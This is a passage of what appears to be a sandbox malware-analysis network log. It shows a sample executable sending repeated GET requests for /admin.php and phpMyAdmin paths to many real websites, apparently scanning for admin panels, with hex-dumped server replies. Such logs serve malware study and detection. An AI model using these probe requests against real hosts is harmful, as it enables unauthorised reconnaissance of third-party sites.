73 73 77 6f 72 64 3c 2f 6c 61 62 65 6c 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 2d 70 77 64 22 3e 0a Data Ascii: Address</label><input type="text" name="log" id="user_login" class="input" value size="20" autocapitalize="off" autocomplete="username" required="required" /></p><div class="user-pass-wrap"><label for="user_pass">Password</label><div class="wp-pwd">
2023-11-26 05:59:39 UTC	1369	IN	Data Raw: 28 29 3b 20 64 2e 73 65 6c 65 63 74 28 29 3b 7d 20 63 61 74 63 68 28 20 65 72 20 29 20 7b 7d 7d 2c 20 32 30 30 29 3b 7d 0a 77 70 5f 61 74 74 65 6d 70 74 5f 66 6f 63 75 73 28 29 3b 0a 69 66 20 28 20 74 79 70 65 6f 66 20 77 70 4f 6e 6c 6f 61 64 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 20 29 20 7b 20 77 70 4f 6e 6c 6f 61 64 28 29 20 7d 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 69 64 3d 22 62 61 63 6b 74 6f 62 6c 6f 67 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 22 3e 26 6c 61 72 72 3b 20 47 6f 20 74 6f 20 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 3c 2f 61 3e 20 3c 2f 70 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 69 76 61 63 79 2d 70 6f 6c 69 63 79 2d 70 61 Data Ascii: (); d.select();} catch( er ) {}}, 200);}wp_attempt_focus();if ( typeof wpOnload === 'function' ) { wpOnload() }/* ... */</script><p id="backtoblog"><a href="https://hightideinc.com/">← Go to High Tide Inc.</a> </p><div class="privacy-policy-pa
2023-11-26 05:59:39 UTC	1369	IN	Data Raw: 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 35 2e 30 22 20 69 64 3d 22 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 68 6f 6f 6b 73 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 63 36 61 65 63 39 61 38 64 34 65 35 61 35 64 35 34 33 61 31 22 20 69 64 3d 22 77 70 2d 68 6f 6f 6b 73 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 Data Ascii: ightideinc.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0" id="wp-polyfill-js"></script><script type="text/javascript" src="https://hightideinc.com/wp-includes/js/dist/hooks.min.js?ver=c6aec9a8d4e5a5d543a1" id="wp-hooks-js"></script><scrip
2023-11-26 05:59:39 UTC	314	IN	Data Raw: 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 69 64 3d 22 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 22 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 30 30 37 63 61 39 30 65 65 30 22 7d 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 6a 73 2f 75 73 65 72 2d 70 72 6f 66 69 6c 65 2e 6d 69 6e 2e 6a 73 3f 76 Data Ascii: cript><script type="text/javascript" id="user-profile-js-extra">/* <![CDATA[ /var userProfileL10n = {"user_id":"0","nonce":"007ca90ee0"};/ ... */</script><script type="text/javascript" src="https://hightideinc.com/wp-admin/js/user-profile.min.js?v
2023-11-26 05:59:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.4	61744	104.200.30.31	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:39 UTC	174	OUT	GET /admin.php HTTP/1.1 Host: edgewater.group Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:39 UTC	164	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 39 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:39 GMTServer: ApacheContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:39 UTC	196	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.4	61604	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:39 UTC	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:39 UTC	341	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 32 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:39 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 323Connection: closeLocation: http://www.grantstech.io/phpmyadmin/Cache-Control: max-age=0Expires: Sun, 26 Nov 2023 0
2023-11-26 05:59:39 UTC	323	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.grantstech.io/phpmyadmin/">here</a>.</p><hr><address>Apache/2.4.5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.4	61613	35.164.64.246	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:39 UTC	174	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: belongfbg.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:40 UTC	150	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 39 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 74 72 61 6e 73 66 65 72 2d 65 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 05:59:39 GMTcontent-type: text/html; charset=UTF-8transfer-encoding: chunkedconnection: close
2023-11-26 05:59:40 UTC	1321	IN	Data Raw: 35 32 32 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 0a 68 74 6d 6c 2c 62 6f 64 79 7b 0a 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0a 7d 0a 0a Data Ascii: 522<!doctype html><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><style type="text/css">html,body{ width:100%; height:100%; margin:0; padding:0;}
2023-11-26 05:59:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.4	61650	144.202.62.131	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:39 UTC	181	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	1483	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 47 45 54 2c 50 4f 53 54 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 48 65 61 64 65 72 73 3a 20 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 20 41 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:39 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Access-Control-Allow-Methods: GET,POSTAccess-Control-Allow-Headers: Content-Type, A
2023-11-26 05:59:41 UTC	6709	IN	Data Raw: 33 64 63 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 4d 58 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 72 75 70 6f 72 65 67 69 6f 73 61 66 65 74 79 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 Data Ascii: 3dce<!DOCTYPE html><html lang="es-MX"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="pingback" href="https://gruporegiosafety.com/xmlrpc.php" /><script type="text/javascript">document.documentE
2023-11-26 05:59:41 UTC	1119	IN	Data Raw: 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 30 30 30 30 30 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 3a 20 23 61 62 62 38 63 33 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 3a 20 23 66 66 66 66 66 66 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 3a 20 23 66 37 38 64 61 37 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 Data Ascii: global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--pr
2023-11-26 05:59:41 UTC	8000	IN	Data Raw: 2d 6c 69 67 68 74 2d 67 72 61 79 2d 74 6f 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 33 38 2c 32 33 38 2c 32 33 38 29 20 30 25 2c 72 67 62 28 31 36 39 2c 31 38 34 2c 31 39 35 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 63 6f 6f 6c 2d 74 6f 2d 77 61 72 6d 2d 73 70 65 63 74 72 75 6d 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 37 34 2c 32 33 34 2c 32 32 30 29 20 30 25 2c 72 67 62 28 31 35 31 2c 31 32 30 2c 32 30 39 29 20 32 30 25 2c 72 67 62 28 32 30 37 2c 34 32 2c 31 38 36 29 20 34 30 25 2c 72 67 62 28 32 33 38 2c 34 34 2c 31 33 30 29 20 36 30 25 2c 72 67 62 28 32 35 Data Ascii: -light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(25
2023-11-26 05:59:41 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:41 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 72 70 6c 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 62 6c 75 73 68 2d 62 6f 72 64 65 61 75 78 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 62 6c 75 73 68 2d 62 6f 72 64 65 61 75 78 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 64 75 73 6b 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 64 75 73 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 6f 63 65 61 6e 2d 67 Data Ascii: 1f40rple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-g
2023-11-26 05:59:41 UTC	7822	IN	Data Raw: 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 74 72 20 74 64 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 65 65 65 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 34 70 78 7d 23 6c 65 66 74 2d 61 72 65 61 20 75 6c 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 75 6c 2c 2e 65 74 2d 6c 2d 2d 62 6f 64 79 20 75 6c 2c 2e 65 74 2d 6c 2d 2d 66 6f 6f 74 65 72 20 75 6c 2c 2e 65 74 2d 6c 2d 2d 68 65 61 64 65 72 20 75 6c 7b 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 64 69 73 63 3b 70 61 64 64 69 6e 67 3a 30 20 30 20 32 33 70 78 20 31 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 36 70 78 7d 23 6c 65 66 74 2d 61 72 65 61 20 6f 6c 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 6f 6c 2c 2e 65 74 2d 6c 2d 2d 62 6f 64 79 20 6f 6c 2c 2e 65 74 2d 6c Data Ascii: entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l
2023-11-26 05:59:41 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:41 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 6f 72 64 65 72 3a 32 70 78 20 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 2e 32 73 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 2e 32 73 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 61 6c 6c 21 69 6d 70 6f 72 74 61 6e 74 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 61 6c 6c 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 2c 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 5f 69 6e 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 Data Ascii: 1f400%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative
2023-11-26 05:59:41 UTC	7822	IN	Data Raw: 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 54 6f 70 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 31 30 25 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 31 30 25 29 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 54 6f 70 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d Data Ascii: sform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.4	61660	66.235.200.147	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:39 UTC	264	OUT	GET /phpmyadmin/ HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip Cookie: _cfuvid=O9GVX4jId9RJuNoELP6FOmLes7L1Dv_lQ.oZC7Kt.D0-1700978377959-0-604800000 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:40 UTC	505	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https:/
